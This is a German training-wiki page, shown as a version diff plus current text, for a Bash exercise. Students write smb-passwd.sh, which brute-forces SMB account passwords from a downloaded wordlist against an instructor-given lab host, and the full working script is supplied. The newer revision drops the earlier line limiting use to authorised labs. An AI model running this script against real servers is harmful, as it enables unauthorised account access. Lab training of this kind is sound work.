Aufgaben Linux - Shell Programmierung (Bash): Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
=Samba Password Brute Force Skript=
+
=Samba Password Brute-Force Aufgabe=
*Zweck: Aus einer Wortliste per Wortlistenangriff die Passwörter vorgegebener SMB-Accounts im Labor finden.
+
* Zweck: Aus einer Wortliste per Wortlistenangriff die Passwörter vorgegebener SMB-Accounts im Labor finden.
*Wichtig: Nur in einer autorisierten Laborumgebung bzw. gegen Systeme mit schriftlicher Erlaubnis ausführen.
+
* Voraussetzungen:
*Voraussetzungen:
+
** Auf dem Arbeitsrechner sind wget und smbclient installiert.
**Installiere das Programm '''smbclient''' auf deinem Arbeitsplatz.
+
** Wortliste herunterladen:
**Die Wortliste ist erreichbar unter: '''wget https://xinux.de/downloads/bad-passwords
+
wget https://xinux.de/downloads/bad-passwords
'''
+
* Die Ziel-IP gibt der Dozent vor.
*Hinweis: Der Befehl '''smbclient -U uwe%geheim -L 10.0.10.123 > /dev/null''' liefert als Exit-Status '''0''' wenn der Login erfolgreich war.
+
* Aufgabe:
*Aufgabe:
+
** Erstelle die Datei smb-passwd.sh, mache sie ausführbar und teste die drei Benutzer: Christine, Martina, Klaus
**Schreibe ein Shell-Script namens '''smb-passwd.sh''' das folgende Anforderungen erfüllt:
+
** Das Script soll:
***Nimmt drei Positionsparameter: '''<samba-host> <user> <pwlist-file>'''
+
*** drei Positionsparameter akzeptieren: <samba-host> <user> <pwlist-file>
***Liest die Passwortdatei zeilenweise und testet für jede Zeile mit '''smbclient -U user%pass -L host''' die Anmeldung.
+
*** die Passwortdatei zeilenweise lesen
***Gibt bei Erfolg genau die Zeile aus: '''Das Password von <user> lautet <pass>''' und terminiert sofort (kein Weiterprobieren).
+
*** für jede Zeile folgendes ausführen: smbclient -U user%pass -L host > /dev/null 2>&1
**Teste das Script für diese drei Accounts (der Dozent stellt die Ziel-IP):
+
*** bei erfolgreichem Login exakt ausgeben: Das Password von <user> lautet <pass> und sofort terminieren
***Christine
+
* Erwartete Ausgabe (Format muss exakt so sein):
***Martina
+
Das Password von <user> lautet <pass>
***Klaus
+
* Skript (in eine Datei smb-passwd.sh kopieren):
*Beispielausführung (Format der Ausgabe):
+
#!/bin/bash
**'''chmod +x smb-passwd.sh'''
+
HOST="$1"
**'''./smb-passwd.sh 10.0.10.123 uwe bad-passwords'''
+
USER="$2"
**Ausgabe:
+
PWLIST="$3"
***Das Password von uwe lautet geheim
+
if [ -z "$HOST" ] || [ -z "$USER" ] || [ -z "$PWLIST" ]; then
*Abgabe:
+
  echo "Usage: $0 <samba-host> <user> <pwlist-file>"
**Das Script '''smb-passwd.sh'''
+
  exit 2
**Nachweis des Downloads (z. B. Kommando oder Datei) oder die Datei '''bad-passwords'''
+
fi
**Terminal-Transkript mit den drei gefundene Ausgaben (eine Zeile pro Benutzer)
+
if [ ! -r "$PWLIST" ]; then
*Optional (für Dozenten): Nenne vorab Lockout-/Rate-Limit-Policy des Labors, damit Accounts nicht gesperrt werden.
+
  echo "Password list not found or not readable: $PWLIST"
 +
  exit 3
 +
fi
 +
while IFS= read -r PASS; do
 +
  if smbclient -U "$USER%$PASS" -L "$HOST" > /dev/null 2>&1; then
 +
    echo "Das Password von $USER lautet $PASS"
 +
    exit 0
 +
  fi
 +
done < "$PWLIST"
 +
exit 1
 +
* Beispielablauf:
 +
chmod +x smb-passwd.sh
 +
wget https://xinux.de/downloads/bad-passwords
 +
./smb-passwd.sh 10.0.10.123 martina bad-passwords
 +
* Abgabe:
 +
** smb-passwd.sh
 +
** Nachweis, dass bad-passwords heruntergeladen wurde
 +
** Terminal-Transkript mit den drei gefundenen Zeilen

Version vom 6. November 2025, 18:28 Uhr

Samba Password Brute-Force Aufgabe

  • Zweck: Aus einer Wortliste per Wortlistenangriff die Passwörter vorgegebener SMB-Accounts im Labor finden.
  • Voraussetzungen:
    • Auf dem Arbeitsrechner sind wget und smbclient installiert.
    • Wortliste herunterladen:

wget https://xinux.de/downloads/bad-passwords

  • Die Ziel-IP gibt der Dozent vor.
  • Aufgabe:
    • Erstelle die Datei smb-passwd.sh, mache sie ausführbar und teste die drei Benutzer: Christine, Martina, Klaus
    • Das Script soll:
      • drei Positionsparameter akzeptieren: <samba-host> <user> <pwlist-file>
      • die Passwortdatei zeilenweise lesen
      • für jede Zeile folgendes ausführen: smbclient -U user%pass -L host > /dev/null 2>&1
      • bei erfolgreichem Login exakt ausgeben: Das Password von <user> lautet <pass> und sofort terminieren
  • Erwartete Ausgabe (Format muss exakt so sein):

Das Password von <user> lautet <pass>

  • Skript (in eine Datei smb-passwd.sh kopieren):
  1. !/bin/bash

HOST="$1" USER="$2" PWLIST="$3" if [ -z "$HOST" ] || [ -z "$USER" ] || [ -z "$PWLIST" ]; then

 echo "Usage: $0 <samba-host> <user> <pwlist-file>"
 exit 2

fi if [ ! -r "$PWLIST" ]; then

 echo "Password list not found or not readable: $PWLIST"
 exit 3

fi while IFS= read -r PASS; do

 if smbclient -U "$USER%$PASS" -L "$HOST" > /dev/null 2>&1; then
   echo "Das Password von $USER lautet $PASS"
   exit 0
 fi

done < "$PWLIST" exit 1

  • Beispielablauf:

chmod +x smb-passwd.sh wget https://xinux.de/downloads/bad-passwords ./smb-passwd.sh 10.0.10.123 martina bad-passwords

  • Abgabe:
    • smb-passwd.sh
    • Nachweis, dass bad-passwords heruntergeladen wurde
    • Terminal-Transkript mit den drei gefundenen Zeilen